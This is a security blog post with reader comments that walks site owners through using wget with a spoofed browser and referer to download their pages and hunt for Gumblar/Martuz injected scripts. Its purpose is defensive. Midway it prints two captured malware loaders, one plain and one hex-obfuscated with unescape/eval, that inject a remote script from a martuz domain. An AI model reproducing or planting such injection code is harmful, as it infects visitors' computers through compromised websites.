After our post earlier today about how is the new domain for gumblar infections, we’ve received hundreds of emails from people (I guess too embarassed to post their question in an open forum), asking how to find in websites.

We’ll use a utility program called wget. Wget allows you to download the “raw” webpage from a site. It’s used quite heavily in the Linux world, but there is also a version for Windows users.

You can download wget from here:

I recommend you select the Complete Package, except sources.

Download it, install it – you can just accept all of the defaults.

Now open a command prompt (Start->Run->cmd->OK).

Change directories like this: cd \”Program Files\GnuWin32\bin” <enter>

Let me explain a little about the options we’ll use with wget.

Sometimes these infectious malscripts like will only show themselves when viewed with a specific browser. In the recent days, won’t activate if you visit one of their infectious websites with Google Chrome as your browser. To be sure, we’ll set our user agent (which is what gets checked for your current browser) to Internet Explorer on a Windows XP computer.

Other times infectious malscripts like or certain variations of will only try to infect a visitor’s PC if the visitor is coming to the infectious site from a Google search. In that case we would need to set “referer” to Google’s home page.

Here’s how we do it with wget. You would enter this in your command prompt:

wget –user-agent=’Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)’ –referer=

Obviously you would change the with your webpage. For instance, if your website is you would simply use the above command but with in place of

This will download your homepage into the current directory on your PC.

If your site has already been indexed by Google and found to have infectious webpages, you can use this Google search to find out which pages Google has found malscripts on.

The Search Engine Results Pages (SERPs) will show you each page from your site and any pages that Google thinks has malscripts on them will display their warning “This site may harm your computer”.

You should use wget for each page that Google lists as hosting malscripts by providing the complete URL in the wget command line.

For instance, if you have a webpage contactus.html and it’s listed in Google SERPs as hosting malscripts, then you would use this wget command:

wget –user-agent=’Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)’ –referer=

That will download contactus.html into your current directory and you would scan that for any malscripts.

Now that you have downloaded your webpages into your current directory, you can begin the process of searching through the files.

While at your command prompt type in:

edit index.html

Then use search->find and type in the word: mart

The reason you don’t search for is that the cybercriminals know that would make it too easy for you to find. Their script (one of them we’ve found) looks like this:

var a="Script Engine",b="Version()+",j="",u=navigator.userAgent;
if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){
document.w rite("<script src=//mar tu"+""+j+"><\/script>");}

So you can see that if you were to scan for martuz, you’d never find it because their malscript uses string concatentation to “build” (martu +

Here’s another martuz script we found:

(f u n c t i o n(){var G33z1='%';var KlKj='va-72-20a-3d-22-53c-72i-70t-45n-67-69ne-22-2cb-3d-22-56-65-72-73-69o-6e(-29+-22-2cj-3d-22-22-2c-75-3d-6eavigato-72-2eus-65-72-41-67ent-3bi-66-28-28u-2e-69ndexOf(-22Chrome-22-29-3c0-29-26-26(u-2e-69ndexOf(-22W-69n-22-29-3e0)-26-26-28u-2ein-64e-78Of(-22-4eT-206-22)-3c0)-26-26(d-6fcument-2ecookie-2e-69-6edex-4ff-28-22-6die-6b-3d1-22)-3c-30)-26-26(type-6ff-28z-72vzts)-21-3dty-70e-6ff(-22A-22)-29)-7bz-72v-7ats-3d-22-41-22-3beval(-22if(window-2e-22-2b-61+-22)j-3dj+-22+a-2b-22Majo-72-22-2bb+a-2b-22Mi-6eo-72-22-2bb+a+-22-42uild-22+b+-22-6a-3b-22)-3bdoc-75m-65nt-2e-77rite(-22-3c-73-63ri-70-74-20src-3d-2f-2fm-61rtu-22+-22z-2ec-6e-2f-76id-2f-3fid-3d-22+j+-22-3e-3c-5c-2fs-63ri-70-74-3e-22)-3b-7d';var m8nw=KlKj.replace(/-/g,G33z1);e val(unescape(m8nw))})();

If you look at this second malscript you won’t find martuz or mart or any other text even close to the first malscript. If you find any script like this in your downloaded webpages, more than likely your site is serving infectious code. This is an example of the steps cybercriminals will go through to obfuscate their malscripts.

You’ll have to scan through each file on your website in order to see if you have any infections. If you do find them, you should scan your PC for any viruses with AVG, Avast or Malwarebytes, clean it, change the FTP password to your site and upload your last known, good backup. You do have a backup right?

We are working on a video to show you how to move away from FTP and use SSH/SCP instead, but we’re not quite ready with it yet.

If you subscribe to this blog, you’ll get an update when it’s ready.

Thank you. We hope you found this useful. If you have any questions, please email us or post your comments below.

9 thoughts on “How To Find in Websites

  1. I use Windows XP and I downloaded your exe for Windows.
    I also use Internet Explorer 8. I had to change my command from

    wget –user-agent=’Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)’ –referer=


    wget -e -user-agent='Mozilla/4.0<Windows;U; MSIE6.0; Windows NT 5.1; en-US)' referer=

    I received a permission denied however the download of the file was successful and my Windows Live OneCare found the Trojan as it was downloading. Kudos to you!

  2. When I enter edit index.html, the editor pops up however the
    javascript does not display. In the editor all I get after the close head tag but before the body tag is

    However, when I view my source code in Firefox I can see

    When I try and view the source code in internet explorer my virus software alerts me of the Trojan and the notepad is blank.

    P.s. I’m having this issue in oscommerce so I hope to find the fix and keep you posted.

  3. When you say:
    Now that you have downloaded your webpages into your current directory, you can begin the process of searching through the files.

    What is the current directory? I can find the files I downloaded.


  4. Well, I found the current directory.

    I can see the code from martuz in Firefox however when I do download the file using your exe Windows Live OneCare does detect it and removes the code from the index.html file, so only the open and close javascript tags display after the close head and open body tags in index.html.

    1. Then you’ve successfully cleaned that file. Have you checked the other files on your site? Or is that the only one that was infected? These attacks usually hit many, many pages. Check any .js and .php files as well. Usually in the .js files, the malscript will be the last line in the file. We’ve been seeing .php files where the malscript is the first line in the file, but you should look all over. Keep in mind that the malscript might be different for different files too.

      I usually use eval and unescape as search terms. That doesn’t mean that every script with these terms means it’s bad, it means you should take a closer look at it.

  5. Is there a prevention to this ?? I have cleaned, uploaded and whitelisted my site twice but they seem to come back again and again. My machines are clean are not affected by malwares. So where are they coming from ??

    1. What programs are you using to scan your PC with? Not to pick on any company, but we have had clients who were using Norton 360 and the virus/trojan wasn’t detected on their PC.

      We recommend AVG 8.5 (free version is fine), Avast and Malwarebytes. We’ve found that these programs detect and clean the virus/trojan on the PC(s) our clients use to upload to their websites.

      If you care to list or send us your website, we’ll scan it for vulnerabilities and send you the report. We won’t publish the report here as it could be damaging and expose you to more risk.

      Let us know…

Leave a Reply

Your email address will not be published. Required fields are marked *